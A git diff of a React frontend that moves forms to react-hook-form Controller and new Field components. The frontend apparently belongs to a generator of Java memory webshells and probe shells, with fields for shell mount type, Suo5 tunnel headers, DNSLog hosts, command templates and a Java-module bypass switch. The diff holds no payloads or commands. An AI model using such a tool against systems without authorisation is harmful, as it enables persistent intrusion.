</TabsContent>
);
}
@@ -1,11 +1,6 @@
import { FormProvider, type UseFormReturn } from "react-hook-form";
import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next";
import {
FormControl,
FormField,
FormFieldItem,
FormFieldLabel,
} from "@/components/ui/form";
import { Field, FieldLabel } from "@/components/ui/field";
import {
Select,
SelectContent,
@@ -13,7 +8,7 @@ import {
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import type { MemShellFormSchema } from "@/types/schema.ts";
import type { MemShellFormSchema } from "@/types/schema";
export function ShellTypeFormField({
form,
@@ -24,42 +19,38 @@ export function ShellTypeFormField({
}>) {
const { t } = useTranslation(["memshell", "common"]);
return (
<FormProvider {...form}>
<FormField
control={form.control}
name="shellType"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>{t("mainConfig.shellMountType")}</FormFieldLabel>
<Select
onValueChange={(e) => {
form.resetField("urlPattern");
field.onChange(e);
}}
value={field.value}
>
<FormControl>
<SelectTrigger>
<SelectValue placeholder={t("common:placeholders.select")} />
</SelectTrigger>
</FormControl>
<SelectContent key={shellTypes?.join(",")}>
{shellTypes?.length ? (
shellTypes.map((v) => (
<SelectItem key={v} value={v}>
{v}
</SelectItem>
))
) : (
<SelectItem value=" ">
{t("tips.shellToolNotSelected")}
<Controller
control={form.control}
name="shellType"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>{t("mainConfig.shellMountType")}</FieldLabel>
<Select
onValueChange={(e) => {
form.resetField("urlPattern");
field.onChange(e);
}}
value={field.value}
>
<SelectTrigger>
<SelectValue data-placeholder={t("common:placeholders.select")} />
</SelectTrigger>
<SelectContent key={shellTypes?.join(",")}>
{shellTypes?.length ? (
shellTypes.map((v) => (
<SelectItem key={v} value={v}>
{v}
</SelectItem>
)}
</SelectContent>
</Select>
</FormFieldItem>
)}
/>
</FormProvider>
))
) : (
<SelectItem value=" ">
{t("tips.shellToolNotSelected")}
</SelectItem>
)}
</SelectContent>
</Select>
</Field>
)}
/>
);
}
+43 -45
View File
@@ -1,7 +1,7 @@
import { FormProvider, type UseFormReturn } from "react-hook-form";
import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { Card, CardContent } from "@/components/ui/card";
import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form";
import { Field, FieldLabel } from "@/components/ui/field";
import { Input } from "@/components/ui/input";
import { TabsContent } from "@/components/ui/tabs";
import type { MemShellFormSchema } from "@/types/schema";
@@ -20,48 +20,46 @@ export function Suo5TabContent({
}>) {
const { t } = useTranslation(["memshell", "common"]);
return (
<FormProvider {...form}>
<TabsContent value={tabValue}>
<Card>
<CardContent className="space-y-2 mt-4">
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<UrlPatternFormField form={form} />
</div>
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<FormField
control={form.control}
name="headerName"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>{t("common:headerName")}</FormFieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</FormFieldItem>
)}
/>
<FormField
control={form.control}
name="headerValue"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>
{t("common:headerValue")} {t("common:optional")}
</FormFieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</FormFieldItem>
)}
/>
</div>
<OptionalClassFormField form={form} />
</CardContent>
</Card>
</TabsContent>
</FormProvider>
<TabsContent value={tabValue}>
<Card>
<CardContent className="space-y-2 mt-4">
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<UrlPatternFormField form={form} />
</div>
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<Controller
control={form.control}
name="headerName"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>{t("common:headerName")}</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</Field>
)}
/>
<Controller
control={form.control}
name="headerValue"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>
{t("common:headerValue")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</Field>
)}
/>
</div>
<OptionalClassFormField form={form} />
</CardContent>
</Card>
</TabsContent>
);
}
@@ -1,14 +1,9 @@
import { FormProvider, type UseFormReturn } from "react-hook-form";
import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next";
import {
FormField,
FormFieldItem,
FormFieldLabel,
FormMessage,
} from "@/components/ui/form";
import { Field, FieldError, FieldLabel } from "@/components/ui/field";
import { Input } from "@/components/ui/input";
import { shouldHidden } from "@/lib/utils";
import type { MemShellFormSchema } from "@/types/schema.ts";
import { cn, shouldHidden } from "@/lib/utils";
import type { MemShellFormSchema } from "@/types/schema";
export function UrlPatternFormField({
form,
@@ -16,20 +11,19 @@ export function UrlPatternFormField({
const { t } = useTranslation("common");
const shellType = form.watch("shellType");
return (
<FormProvider {...form}>
<FormField
control={form.control}
name="urlPattern"
render={({ field }) => (
<FormFieldItem
className={shouldHidden(shellType) ? "hidden" : "grid"}
>
<FormFieldLabel>{t("urlPattern")}</FormFieldLabel>
<Input {...field} placeholder={t("placeholders.input")} />
<FormMessage />
</FormFieldItem>
)}
/>
</FormProvider>
<Controller
control={form.control}
name="urlPattern"
render={({ field, fieldState }) => (
<Field
className={cn("gap-1", shouldHidden(shellType) ? "hidden" : "grid")}
data-invalid={fieldState.invalid}
>
<FieldLabel>{t("urlPattern")}</FieldLabel>
<Input {...field} placeholder={t("placeholders.input")} />
{fieldState.error && <FieldError errors={[fieldState.error]} />}
</Field>
)}
/>
);
}
+385 -340
View File
@@ -1,17 +1,14 @@
import { ServerIcon } from "lucide-react";
import { InfoIcon, ServerIcon } from "lucide-react";
import { useCallback, useEffect, useMemo } from "react";
import { FormProvider, type UseFormReturn } from "react-hook-form";
import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import {
FormControl,
FormField,
FormFieldItem,
FormFieldLabel,
FormItem,
FormLabel,
FormMessage,
} from "@/components/ui/form";
Field,
FieldContent,
FieldError,
FieldLabel,
} from "@/components/ui/field";
import { Input } from "@/components/ui/input";
import { Label } from "@/components/ui/label";
import {
@@ -21,10 +18,15 @@ import {
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import { Separator } from "@/components/ui/separator";
import { Switch } from "@/components/ui/switch";
import {
Tooltip,
TooltipContent,
TooltipTrigger,
} from "@/components/ui/tooltip";
import type { ServerConfig } from "@/types/memshell";
import type { ProbeShellFormSchema } from "@/types/schema";
import { Separator } from "../ui/separator";
const PROBE_OPTIONS = [
{ value: "Server" as const, label: "server" },
@@ -104,278 +106,6 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
resetFormValues();
}, [resetFormValues]);
const ContentOptionsSelect = useMemo(
() => (
<FormField
control={form.control}
name="probeContent"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>{t("probeshell:probeContent")}</FormFieldLabel>
<Select onValueChange={field.onChange} value={field.value || ""}>
<FormControl>
<SelectTrigger>
<SelectValue placeholder={t("common:placeholders.select")} />
</SelectTrigger>
</FormControl>
<SelectContent>
{filteredOptions.map((opt) => (
<SelectItem key={opt.value} value={opt.value}>
{t(`probeshell:probeContent.${opt.label}`)}
</SelectItem>
))}
</SelectContent>
</Select>
<FormMessage />
</FormFieldItem>
)}
/>
),
[form.control, filteredOptions, t],
);
const RequestParamField = useMemo(
() => (
<div className="space-y-2 pt-4 border-t mt-4">
<FormField
control={form.control}
name="reqParamName"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>
{t("common:paramName")} {t("common:optional")}
</FormFieldLabel>
<FormControl>
<Input placeholder={t("placeholders.input")} {...field} />
</FormControl>
<FormMessage />
</FormFieldItem>
)}
/>
</div>
),
[form.control, t],
);
const CommandTemplateField = useMemo(
() => (
<div className="space-y-2">
<FormField
control={form.control}
name="commandTemplate"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>
{t("common:commandTemplate")} {t("common:optional")}
</FormFieldLabel>
<FormControl>
<Input
{...field}
placeholder={t("common:commandTemplate.placeholder")}
/>
</FormControl>
<p className="text-xs text-muted-foreground mt-1">
{t("common:commandTemplate.description")}
</p>
</FormFieldItem>
)}
/>
</div>
),
[form.control, t],
);
const SleepFields = useMemo(
() => (
<div className="space-y-2 pt-4 border-t mt-4">
<FormField
control={form.control}
name="sleepServer"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>{t("probeshell:sleepServer")}</FormFieldLabel>
<Select onValueChange={field.onChange} value={field.value || ""}>
<FormControl>
<SelectTrigger>
<SelectValue placeholder={t("placeholders.select")} />
</SelectTrigger>
</FormControl>
<SelectContent>
{MIDDLEWARE_OPTIONS.map(({ value, label }) => (
<SelectItem key={value} value={value}>
{label}
</SelectItem>
))}
</SelectContent>
</Select>
<FormMessage />
</FormFieldItem>
)}
/>
<FormField
control={form.control}
name="seconds"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>{t("probeshell:sleepSeconds")}</FormFieldLabel>
<FormControl>
<Input
type="number"
placeholder={t("placeholders.input")}
{...field}
onChange={(event) => field.onChange(+event.target.value)}
/>
</FormControl>
<FormMessage />
</FormFieldItem>
)}
/>
</div>
),
[form.control, t],
);
const DNSLogSection = useMemo(
() => (
<FormField
control={form.control}
name="host"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>{t("probeshell:dnslog.host")}</FormFieldLabel>
<FormControl>
<Input placeholder={t("placeholders.input")} {...field} />
</FormControl>
<FormMessage />
</FormFieldItem>
)}
/>
),
[form.control, t],
);
const MiddlewareSelect = useMemo(
() => (
<FormField
control={form.control}
name="server"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>{t("server")}</FormFieldLabel>
<Select onValueChange={field.onChange} defaultValue={field.value}>
<FormControl>
<SelectTrigger>
<SelectValue placeholder={t("placeholders.select")} />
</SelectTrigger>
</FormControl>
<SelectContent>
{Object.keys(servers ?? {})
.filter((s) => s !== "SpringWebFlux" && s !== "XXLJOB")
.map((server: string) => (
<SelectItem key={server} value={server}>
{server}
</SelectItem>
))}
</SelectContent>
</Select>
<FormMessage />
</FormFieldItem>
)}
/>
),
[form.control, servers, t],
);
const SwitchGroup = useMemo(
() => (
<div className="flex gap-4 mt-4 flex-col sm:flex-row xl:grid xl:grid-cols-2 2xl:grid 2xl:grid-cols-3">
<FormField
control={form.control}
name="debug"
render={({ field }) => (
<FormItem className="flex items-center space-x-2 space-y-0">
<FormControl>
<Switch
id="debug"
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel htmlFor="debug">{t("debug")}</FormLabel>
</FormItem>
)}
/>
<FormField
control={form.control}
name="byPassJavaModule"
render={({ field }) => (
<FormItem className="flex items-center space-x-2 space-y-0">
<FormControl>
<Switch
id="bypass"
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<Label htmlFor="bypass">{t("byPassJavaModule")}</Label>
</FormItem>
)}
/>
<FormField
control={form.control}
name="lambdaSuffix"
render={({ field }) => (
<FormItem className="flex items-center space-x-2 space-y-0">
<FormControl>
<Switch
id="lambdaSuffix"
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<Label htmlFor="lambdaSuffix">{t("common:lambdaSuffix")}</Label>
</FormItem>
)}
/>
<FormField
control={form.control}
name="shrink"
render={({ field }) => (
<FormItem className="flex items-center space-x-2 space-y-0">
<FormControl>
<Switch
id="shrink"
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<Label htmlFor="shrink">{t("shrink")}</Label>
</FormItem>
)}
/>
<FormField
control={form.control}
name="staticInitialize"
render={({ field }) => (
<FormItem className="flex items-center space-x-2 space-y-0">
<FormControl>
<Switch
id="staticInitialize"
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<Label htmlFor="staticInitialize">
{t("common:staticInitialize")}
</Label>
</FormItem>
)}
/>
</div>
),
[form.control, t],
);
const isBodyMethod = watchedProbeMethod === "ResponseBody";
const isCommandBody = watchedProbeContent === "Command";
const needParam =
@@ -386,69 +116,384 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
const isServerContent = watchedProbeContent === "Server";
return (
<FormProvider {...form}>
<Card>
<CardHeader className="pb-1">
<CardTitle className="text-md flex items-center gap-2">
<ServerIcon className="h-5 w-5" />
<span>{t("mainConfig.title")}</span>
</CardTitle>
</CardHeader>
<CardContent className="space-y-2">
<FormField
<Card>
<CardHeader className="pb-1">
<CardTitle className="text-md flex items-center gap-2">
<ServerIcon className="h-5 w-5" />
<span>{t("mainConfig.title")}</span>
</CardTitle>
</CardHeader>
<CardContent className="space-y-2">
<Controller
control={form.control}
name="probeMethod"
render={({ field, fieldState }) => (
<Field className="gap-1">
<FieldLabel>{t("probeshell:probeMethod")}</FieldLabel>
<Select onValueChange={field.onChange} defaultValue={field.value}>
<div>
<SelectTrigger>
<SelectValue
data-placeholder={t("common:placeholders.select")}
/>
</SelectTrigger>
</div>
<SelectContent>
{PROBE_METHOD_OPTIONS.map(({ value, label }) => (
<SelectItem key={value} value={value}>
{label}
</SelectItem>
))}
</SelectContent>
</Select>
{fieldState.error && <FieldError errors={[fieldState.error]} />}
</Field>
)}
/>
{watchedProbeMethod === "ResponseBody" && (
<Controller
control={form.control}
name="probeMethod"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>{t("probeshell:probeMethod")}</FormFieldLabel>
<Select
onValueChange={field.onChange}
defaultValue={field.value}
>
<FormControl>
<SelectTrigger>
<SelectValue />
name="server"
render={({ field, fieldState }) => (
<Field
className="gap-1"
orientation="vertical"
data-invalid={fieldState.invalid}
>
<FieldContent>
<FieldLabel htmlFor="server">{t("server")}</FieldLabel>
<Select
onValueChange={field.onChange}
defaultValue={field.value}
>
<SelectTrigger
id="server"
aria-invalid={fieldState.invalid}
>
<SelectValue
data-placeholder={t("placeholders.select")}
/>
</SelectTrigger>
</FormControl>
<SelectContent>
{PROBE_METHOD_OPTIONS.map(({ value, label }) => (
<SelectItem key={value} value={value}>
{label}
</SelectItem>
))}
</SelectContent>
</Select>
<FormMessage />
</FormFieldItem>
<SelectContent>
{Object.keys(servers ?? {})
.filter((s) => s !== "SpringWebFlux" && s !== "XXLJOB")
.map((server: string) => (
<SelectItem key={server} value={server}>
{server}
</SelectItem>
))}
</SelectContent>
</Select>
{fieldState.error && (
<FieldError errors={[fieldState.error]} />
)}
</FieldContent>
</Field>
)}
/>
{watchedProbeMethod === "ResponseBody" && MiddlewareSelect}
{watchedProbeMethod === "DNSLog" && DNSLogSection}
{watchedProbeMethod && ContentOptionsSelect}
{SwitchGroup}
{isBodyMethod && needParam && RequestParamField}
{isBodyMethod && isCommandBody && CommandTemplateField}
{isSleepMethod && isServerContent && SleepFields}
<Separator />
<FormField
)}
{watchedProbeMethod === "DNSLog" && (
<Controller
control={form.control}
name="shellClassName"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel htmlFor="shellClassName">
{t("probeshell:shellClassName")} {t("optional")}
</FormFieldLabel>
<Input
id="shellClassName"
{...field}
placeholder={t("placeholders.input")}
/>
</FormFieldItem>
name="host"
render={({ field, fieldState }) => (
<Field
className="gap-1"
orientation="vertical"
data-invalid={fieldState.invalid}
>
<FieldLabel>{t("probeshell:dnslog.host")}</FieldLabel>
<Input placeholder={t("placeholders.input")} {...field} />
{fieldState.error && <FieldError errors={[fieldState.error]} />}
</Field>
)}
/>
</CardContent>
</Card>
</FormProvider>
)}
{watchedProbeMethod && (
<Controller
control={form.control}
name="probeContent"
render={({ field, fieldState }) => (
<Field orientation="vertical" data-invalid={fieldState.invalid}>
<FieldContent>
<FieldLabel htmlFor="probeContent">
{t("probeshell:probeContent")}
</FieldLabel>
<Select
onValueChange={field.onChange}
value={field.value || ""}
>
<SelectTrigger
aria-invalid={fieldState.invalid}
id="probeContent"
>
<SelectValue
data-placeholder={t("common:placeholders.select")}
/>
</SelectTrigger>
<SelectContent>
{filteredOptions.map((opt) => (
<SelectItem key={opt.value} value={opt.value}>
{t(`probeshell:probeContent.${opt.label}`)}
</SelectItem>
))}
</SelectContent>
</Select>
{fieldState.error && (
<FieldError errors={[fieldState.error]} />
)}
</FieldContent>
</Field>
)}
/>
)}
<div className="flex gap-4 mt-4 flex-col lg:grid lg:grid-cols-2 2xl:grid 2xl:grid-cols-3">
<Controller
control={form.control}
name="debug"
render={({ field }) => (
<div className="flex items-center gap-2">
<Switch
id="debug"
checked={field.value}
onCheckedChange={field.onChange}
/>
<Label htmlFor="debug">{t("common:debug")}</Label>
<Tooltip>
<TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
</TooltipTrigger>
<TooltipContent>
<p>{t("common:debug.description")}</p>
</TooltipContent>
</Tooltip>
</div>
)}
/>
<Controller
control={form.control}
name="byPassJavaModule"
render={({ field }) => (
<div className="flex items-center gap-2">
<Switch
id="bypass"
checked={field.value}
onCheckedChange={field.onChange}
/>
<Label htmlFor="bypass">{t("common:byPassJavaModule")}</Label>
<Tooltip>
<TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
</TooltipTrigger>
<TooltipContent>
<p>{t("common:byPassJavaModule.description")}</p>
</TooltipContent>
</Tooltip>
</div>
)}
/>
<Controller
control={form.control}
name="lambdaSuffix"
render={({ field }) => (
<div className="flex items-center gap-2">
<Switch
id="lambdaSuffix"
checked={field.value}
onCheckedChange={field.onChange}
/>
<Label htmlFor="lambdaSuffix">{t("common:lambdaSuffix")}</Label>
<Tooltip>
<TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
</TooltipTrigger>
<TooltipContent>
<p>{t("common:lambdaSuffix.description")}</p>
</TooltipContent>
</Tooltip>
</div>
)}
/>
<Controller
control={form.control}
name="shrink"
render={({ field }) => (
<div className="flex items-center gap-2">
<Switch
id="shrink"
checked={field.value}
onCheckedChange={field.onChange}
/>
<Label htmlFor="shrink">{t("common:shrink")}</Label>
<Tooltip>
<TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
</TooltipTrigger>
<TooltipContent>
<p>{t("common:shrink.description")}</p>
</TooltipContent>
</Tooltip>
</div>
)}
/>
<Controller
control={form.control}
name="staticInitialize"
render={({ field }) => (
<div className="flex items-center gap-2">
<Switch
id="staticInitialize"
checked={field.value}
onCheckedChange={field.onChange}
/>
<Label htmlFor="staticInitialize">
{t("common:staticInitialize")}
</Label>
<Tooltip>
<TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
</TooltipTrigger>
<TooltipContent>
<p>{t("common:staticInitialize.description")}</p>
</TooltipContent>
</Tooltip>
</div>
)}
/>
</div>
{isBodyMethod && needParam && (
<div className="space-y-2 pt-4 border-t mt-4">
<Controller
control={form.control}
name="reqParamName"
render={({ field, fieldState }) => (
<Field className="gap-1">
<div className="flex items-center gap-1">
<FieldLabel>
{t("common:paramName")} {t("common:optional")}
</FieldLabel>
<Tooltip>
<TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
</TooltipTrigger>
<TooltipContent>
<p>{t("common:paramName.description")}</p>
</TooltipContent>
</Tooltip>
</div>
<Input placeholder={t("placeholders.input")} {...field} />
{fieldState.error && (
<FieldError errors={[fieldState.error]} />
)}
</Field>
)}
/>
</div>
)}
{isBodyMethod && isCommandBody && (
<Controller
control={form.control}
name="commandTemplate"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>
{t("common:commandTemplate")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:commandTemplate.placeholder")}
/>
<p className="text-xs text-muted-foreground mt-1">
{t("common:commandTemplate.description")}
</p>
</Field>
)}
/>
)}
{isSleepMethod && isServerContent && (
<div className="space-y-2 pt-4 border-t mt-4">
<Controller
control={form.control}
name="sleepServer"
render={({ field, fieldState }) => (
<Field
className="gap-1"
orientation="vertical"
data-invalid={fieldState.invalid}
>
<FieldContent>
<FieldLabel htmlFor="sleepServer">
{t("probeshell:sleepServer")}
</FieldLabel>
<Select
onValueChange={field.onChange}
value={field.value || ""}
>
<SelectTrigger
aria-invalid={fieldState.invalid}
id="sleepServer"
>
<SelectValue
data-placeholder={t("placeholders.select")}
/>
</SelectTrigger>
<SelectContent>
{MIDDLEWARE_OPTIONS.map(({ value, label }) => (
<SelectItem key={value} value={value}>
{label}
</SelectItem>
))}
</SelectContent>
</Select>
{fieldState.error && (
<FieldError errors={[fieldState.error]} />
)}
</FieldContent>
</Field>
)}
/>
<Controller
control={form.control}
name="seconds"
render={({ field, fieldState }) => (
<Field
className="gap-1"
orientation="vertical"
data-invalid={fieldState.invalid}
>
<FieldLabel>{t("probeshell:sleepSeconds")}</FieldLabel>
<Input
type="number"
placeholder={t("placeholders.input")}
{...field}
onChange={(event) => field.onChange(+event.target.value)}
/>
{fieldState.error && (
<FieldError errors={[fieldState.error]} />
)}
</Field>
)}
/>
</div>
)}
<Separator />
<Controller
control={form.control}
name="shellClassName"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel htmlFor="shellClassName">
{t("probeshell:shellClassName")} {t("optional")}
</FieldLabel>
<Input
id="shellClassName"
{...field}
placeholder={t("placeholders.input")}
/>
</Field>
)}
/>
</CardContent>
</Card>
);
}
@@ -1,14 +1,9 @@
import { PackageIcon } from "lucide-react";
import { useEffect, useState } from "react";
import { FormProvider, type UseFormReturn } from "react-hook-form";
import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import {
FormControl,
FormField,
FormItem,
FormLabel,
} from "@/components/ui/form";
import { FieldLabel } from "@/components/ui/field";
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
import type { PackerConfig } from "@/types/memshell";
import type { ProbeShellFormSchema } from "@/types/schema";
@@ -30,7 +25,11 @@ export default function PackageConfigCard({
useEffect(() => {
const filteredOptions = (packerConfig ?? []).filter((name) => {
return !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl") && !name.toLowerCase().endsWith("jar");
return (
!name.startsWith("Agent") &&
!name.toLowerCase().startsWith("xxl") &&
!name.toLowerCase().endsWith("jar")
);
});
const mappedOptions = filteredOptions.map((name) => {
@@ -60,40 +59,35 @@ export default function PackageConfigCard({
</CardHeader>
<CardContent>
{options.length > 0 ? (
<FormProvider {...form}>
<FormField
control={form.control}
name="packingMethod"
render={({ field }) => (
<FormItem className="space-y-3">
<FormLabel>{t("packerMethod")}</FormLabel>
<FormControl>
<RadioGroup
onValueChange={field.onChange}
value={field.value}
className="grid grid-cols-2 md:grid-cols-3"
>
{options.map(({ name, value }) => (
<FormItem
key={value}
className="flex items-center space-x-3 space-y-0"
>
<FormControl>
<RadioGroupItem value={value} id={value} />
</FormControl>
<FormLabel className="text-xs" htmlFor={value}>
{name}
</FormLabel>
</FormItem>
))}
</RadioGroup>
</FormControl>
</FormItem>
)}
/>
</FormProvider>
<Controller
control={form.control}
name="packingMethod"
render={({ field }) => (
<div className="space-y-3">
<FieldLabel>{t("packerMethod")}</FieldLabel>
<div>
<RadioGroup
onValueChange={field.onChange}
value={field.value}
className="grid grid-cols-2 md:grid-cols-3"
>
{options.map(({ name, value }) => (
<div key={value} className="flex items-center space-x-3">
<div>
<RadioGroupItem value={value} id={value} />
</div>
<FieldLabel className="text-xs" htmlFor={value}>
{name}
</FieldLabel>
</div>
))}
</RadioGroup>
</div>
</div>
)}
/>
) : (
<div className="flex items-center justify-center p-4 space-x-2">
<div className="flex items-center justify-center p-4">
<div className="h-4 w-4 animate-spin rounded-full border-2 border-primary border-t-transparent" />
<span className="text-sm text-muted-foreground">
{t("loading")}
@@ -22,7 +22,7 @@ export default function ShellResult({
return <QuickUsage />;
}
const showCode = packMethod === "JSP";
const height = 550;
const height = 600;
return (
<Tabs defaultValue="packResult">
<TabsList className="grid w-full grid-cols-1">
@@ -30,7 +30,7 @@ export default function ShellResult({
{t("common:generateResult")}
</TabsTrigger>
</TabsList>
<TabsContent value="packResult" className="my-2 space-y-4">
<TabsContent value="packResult" className="space-y-2">
<BasicInfo generateResult={generateResult} />
{allPackResults && (
<MultiPackResult
+65 -35
View File
@@ -1,25 +1,19 @@
import { AlertDialog as AlertDialogPrimitive } from "radix-ui";
import { AlertDialog as AlertDialogPrimitive } from "@base-ui/react/alert-dialog";
import type * as React from "react";
import { buttonVariants } from "@/components/ui/button";
import { Button } from "@/components/ui/button";
import { cn } from "@/lib/utils";
function AlertDialog({
...props
}: React.ComponentProps<typeof AlertDialogPrimitive.Root>) {
function AlertDialog({ ...props }: AlertDialogPrimitive.Root.Props) {
return <AlertDialogPrimitive.Root data-slot="alert-dialog" {...props} />;
}
function AlertDialogTrigger({
...props
}: React.ComponentProps<typeof AlertDialogPrimitive.Trigger>) {
function AlertDialogTrigger({ ...props }: AlertDialogPrimitive.Trigger.Props) {
return (
<AlertDialogPrimitive.Trigger data-slot="alert-dialog-trigger" {...props} />
);
}
function AlertDialogPortal({
...props
}: React.ComponentProps<typeof AlertDialogPrimitive.Portal>) {
function AlertDialogPortal({ ...props }: AlertDialogPrimitive.Portal.Props) {
return (
<AlertDialogPrimitive.Portal data-slot="alert-dialog-portal" {...props} />
);
@@ -28,12 +22,12 @@ function AlertDialogPortal({
function AlertDialogOverlay({
className,
...props
}: React.ComponentProps<typeof AlertDialogPrimitive.Overlay>) {
}: AlertDialogPrimitive.Backdrop.Props) {
return (
<AlertDialogPrimitive.Overlay
<AlertDialogPrimitive.Backdrop
data-slot="alert-dialog-overlay"
className={cn(
"data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 fixed inset-0 z-50 bg-black/50",
"data-open:animate-in data-closed:animate-out data-closed:fade-out-0 data-open:fade-in-0 bg-black/10 duration-100 supports-backdrop-filter:backdrop-blur-xs fixed inset-0 isolate z-50",
className,
)}
{...props}
@@ -43,15 +37,19 @@ function AlertDialogOverlay({
function AlertDialogContent({
className,
size = "default",
...props
}: React.ComponentProps<typeof AlertDialogPrimitive.Content>) {
}: AlertDialogPrimitive.Popup.Props & {
size?: "default" | "sm";
}) {
return (
<AlertDialogPortal>
<AlertDialogOverlay />
<AlertDialogPrimitive.Content
<AlertDialogPrimitive.Popup
data-slot="alert-dialog-content"
data-size={size}
className={cn(
"bg-background data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 fixed top-[50%] left-[50%] z-50 grid w-full max-w-[calc(100%-2rem)] translate-x-[-50%] translate-y-[-50%] gap-4 rounded-lg border p-6 shadow-lg duration-200 sm:max-w-lg",
"data-open:animate-in data-closed:animate-out data-closed:fade-out-0 data-open:fade-in-0 data-closed:zoom-out-95 data-open:zoom-in-95 bg-background ring-foreground/10 gap-6 rounded-xl p-6 ring-1 duration-100 data-[size=default]:max-w-xs data-[size=sm]:max-w-xs data-[size=default]:sm:max-w-lg group/alert-dialog-content fixed top-1/2 left-1/2 z-50 grid w-full -translate-x-1/2 -translate-y-1/2 outline-none",
className,
)}
{...props}
@@ -67,7 +65,10 @@ function AlertDialogHeader({
return (
<div
data-slot="alert-dialog-header"
className={cn("flex flex-col gap-2 text-center sm:text-left", className)}
className={cn(
"grid grid-rows-[auto_1fr] place-items-center gap-1.5 text-center has-data-[slot=alert-dialog-media]:grid-rows-[auto_auto_1fr] has-data-[slot=alert-dialog-media]:gap-x-6 sm:group-data-[size=default]/alert-dialog-content:place-items-start sm:group-data-[size=default]/alert-dialog-content:text-left sm:group-data-[size=default]/alert-dialog-content:has-data-[slot=alert-dialog-media]:grid-rows-[auto_1fr]",
className,
)}
{...props}
/>
);
@@ -81,7 +82,23 @@ function AlertDialogFooter({
<div
data-slot="alert-dialog-footer"
className={cn(
"flex flex-col-reverse gap-2 sm:flex-row sm:justify-end",
"flex flex-col-reverse gap-2 group-data-[size=sm]/alert-dialog-content:grid group-data-[size=sm]/alert-dialog-content:grid-cols-2 sm:flex-row sm:justify-end",
className,
)}
{...props}
/>
);
}
function AlertDialogMedia({
className,
...props
}: React.ComponentProps<"div">) {
return (
<div
data-slot="alert-dialog-media"
className={cn(
"bg-muted mb-2 inline-flex size-16 items-center justify-center rounded-md sm:group-data-[size=default]/alert-dialog-content:row-span-2 *:[svg:not([class*='size-'])]:size-8",
className,
)}
{...props}
@@ -96,7 +113,10 @@ function AlertDialogTitle({
return (
<AlertDialogPrimitive.Title
data-slot="alert-dialog-title"
className={cn("text-lg font-semibold", className)}
className={cn(
"text-lg font-medium sm:group-data-[size=default]/alert-dialog-content:group-has-data-[slot=alert-dialog-media]/alert-dialog-content:col-start-2",
className,
)}
{...props}
/>
);
@@ -109,7 +129,10 @@ function AlertDialogDescription({
return (
<AlertDialogPrimitive.Description
data-slot="alert-dialog-description"
className={cn("text-muted-foreground text-sm", className)}
className={cn(
"text-muted-foreground *:[a]:hover:text-foreground text-sm text-balance md:text-pretty *:[a]:underline *:[a]:underline-offset-3",
className,
)}
{...props}
/>
);
@@ -118,10 +141,11 @@ function AlertDialogDescription({
function AlertDialogAction({
className,
...props
}: React.ComponentProps<typeof AlertDialogPrimitive.Action>) {
}: React.ComponentProps<typeof Button>) {
return (
<AlertDialogPrimitive.Action
className={cn(buttonVariants(), className)}
<Button
data-slot="alert-dialog-action"
className={cn(className)}
{...props}
/>
